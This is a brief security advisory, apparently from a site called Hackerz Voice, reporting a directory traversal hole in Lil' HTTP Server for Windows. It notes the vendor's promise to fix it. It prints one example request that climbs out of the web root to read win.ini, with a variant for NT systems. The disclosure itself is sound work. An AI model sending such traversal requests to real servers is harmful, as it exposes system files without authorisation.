Hackerz Voice http://www.dmpfrance.com/inted.html
Lil' HTTP Server Directory Traversal Vulnerability
Lil' HTTP Server is a Windows HTTP server that supports several features in a relatively compact application. It is vulnerable to a classic (stupid) attack: http://[target]/../../windows/win.ini This link will read WIN.INI on Windows 95/98/Me, and with a slight modification (winnt instead of windows) would do the same on an NT box. Scott Slater, the author of the tool, assured me that we will look into this and update it very soon. This is encouraging to me, but the ease with which this attack is conducted scares me.
